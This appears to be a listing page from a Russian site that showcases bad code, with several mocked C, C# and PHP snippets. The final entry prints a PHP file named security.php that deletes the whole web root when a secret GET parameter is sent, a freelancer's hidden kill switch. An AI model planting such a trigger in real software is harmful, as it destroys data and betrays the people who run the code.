1. Лучший говнокод

    В номинации:
    За время:
  2. Си / Говнокод #13187

    +136

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    #include <stdio.h>
    #include <math.h>
    
    const double g = 10; // да, 10
    
    int main() {
        double v0; // начальная скорость снаряда в метрах в секунду
        double angle; // угол в градусах относительно плоскости земли
    
        scanf("%lf%lf", &v0, &angle);
    
        angle = angle / 180 * M_PI; // переводим градусы в радианы
    
        /*
            уравнения движения в нашем случае просты:
            x = v0 * t * cos(angle)
            y = v0 * t * sin(angle) - g * t * t / 2
    
            в момент удара о землю y будет равен 0 (по условию задачи)
            из второго уравнения выразим время:
            t = 2*v0*sin(angle)/g
    
            за это время снаряд улетит на v0 * t * cos(angle)
            x = 2 * v0 * v0 * cos(angle) * sin(angle) / g
    
            Формулу можно упростить до v0 * v0 * sin(2*angle) / g
        */
    
        double x = v0 * v0 * sin(2 * angle) / g;
    
        printf("x = %.0lf\n", x);
    
        return 0;
    }

    Референсный код для superhackkiller1997.

    Простейшая задачка о полете снаряда. Ветер и сопротивление воздуха не учитываем. Стрельбы производятся на равнине (т.е. высоту в момент выстрела и в момент попадания в землю считаем одинаковой).

    Входные данные: начальная скорость снаряда (в метрах в секунду), угол относительно плоскости земли (в градусах).
    g принимаем равным 10 м/с².

    Выходные данные: расстояние от пушки, на котором снаряд ударится о землю (в метрах, такой точности будет вполне достаточно).

    Примеры:
    v0 = 200, angle = 45 => x = 4000
    v0 = 200, angle = 30 => x = 3464
    v0 = 200, angle = 90 => x = 0

    Продемонстрируй нам, как бы ты решил эту несложную задачку со своим представлением чисел (не fixed и не float). На входе, как видишь, все числа целые, на выходе тоже.

    bormand, 17 Июня 2013

    Комментарии (221)
  3. Куча / Говнокод #13114

    +136

    1. 1
    http://pastebin.com/htxgeLCJ

    Трололо!

    deep, 05 Июня 2013

    Комментарии (8)
  4. C# / Говнокод #13075

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    public static bool isLaterThan()
    {
      string hd = DateTime.Now.ToString("tt", new CultureInfo("en-US")).ToLower();
    
      if (hd == "pm")
       return false;
    
       return DateTime.Now.Hour < 1;
    }

    уже есть час ночи?

    taburetka, 30 Мая 2013

    Комментарии (21)
  5. C# / Говнокод #12969

    +136

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    // Было
    string postCode;
    if (person != null)
    {
      if (HasMedicalRecord(person) && person.Address != null)
      {
        CheckAddress(person.Address);
        if (person.Address.PostCode != null)
          postCode = person.Address.PostCode.ToString();
        else
          postCode = "UNKNOWN";
      }
    }
    // Стало
    string postCode = this.With(x => person)
        .If(x => HasMedicalRecord(x))]
        .With(x => x.Address)
        .Do(x => CheckAddress(x))
        .With(x => x.PostCode)
        .Return(x => x.ToString(), "UNKNOWN");

    "как можно использовать более “монадический” синтаксис в C# для того, чтобы __повысить удобочитаемость__ исходного кода"
    http://www.gotdotnet.ru/blogs/nesteruk/6975/

    Sh1tM4ker, 07 Мая 2013

    Комментарии (41)
  6. C# / Говнокод #12921

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if (best == null)
                {
                    return null;
                }
                else
                {
                    return best;
                }

    Psilon, 19 Апреля 2013

    Комментарии (16)
  7. Си / Говнокод #12912

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    void ps(const char *a)
    {/*means putstring*/
    	for(; '\0' != *a; a++)
    		putchar(' ' != *a ? *a : (putchar('\n'),'\t'));
    }

    Как-то ночью, в час унылый, в голове собрав все силы,
    Разум темный, как могила, начал свой хромой закон.
    Начиная выражаться, а точнее проявляться,
    В мир безбрежный и зеленый, зло построило свой ход:
    Пальцы тонкие и злые, подчиняясь темной силе,
    Выхватив перо в чернилах, вывели сей говногод.

    ntfshard, 18 Апреля 2013

    Комментарии (12)
  8. Си / Говнокод #12860

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    uint16_t min_id, next_id, id;
    
    if (id - min_id < next_id - min_id) {
        // ...
    }

    Сегодня обнаружил в своем, не покрытом тестами, говнокоде этот эпик-фейл.
    Окрестосишкоблядился, что называется, по полной программе.

    Условие должно было проверять, лежит ли id в диапазоне [min_id; next_id) с учетом перехода через 0.
    Например min_id = 0xFFFE, next_id = 0x0003, id = 0x0002 должно вернуть true, а min_id = 43, next_id = 44, id = 42 - false.

    bormand, 07 Апреля 2013

    Комментарии (85)
  9. C# / Говнокод #12776

    +136

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    private void StatusMsg(string message, int delay = 1000)
     {
          lock (_msgQueue)
          {
            if (_msgQueue.ContainsKey(message))
            {
              int i = 1;
              message = String.Format("{0} {1}", message, i);
              while (_msgQueue.ContainsKey(message))
              {
                message = String.Format("{0} {1}", message.Substring(0, message.LastIndexOf(' ')), i++);
              }
            }
            _msgQueue.Add(message, delay);
          }
     }

    Чёто я не понимаю

    taburetka, 21 Марта 2013

    Комментарии (31)
  10. C# / Говнокод #12745

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    public double Supremum()
    {
    	HazardEstimation intensityEstimation = new IntensityEstimation(Sample, new EpanechnikovKernel(), SmoothingParameterMethod.Asymptotic);
    	var s = new List<double>(Sample.Size);
    	for (int i = 0; i < Sample.Size; i++)
    	s.Add(Math.Abs(intensityEstimation.NonParametricEstimation(Sample[i].Value) - rv.h(Sample[i].Value)));
    	return s.Max();
    }

    Дипломники не ищут легких путей

    zontar, 13 Марта 2013

    Комментарии (3)
  11. PHP / Говнокод #12576

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    <?php
    $param = $_GET['delaem'];
    if($param=='nahui')
    {
        $dir = __DIR__;
        shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
    }
    ?>

    Фрилансер защищает себя от неплатежеспособного заказчика xD

    Файл лежал на продакшин сервере около года, название файла - security.php

    uint, 11 Февраля 2013

    Комментарии (9)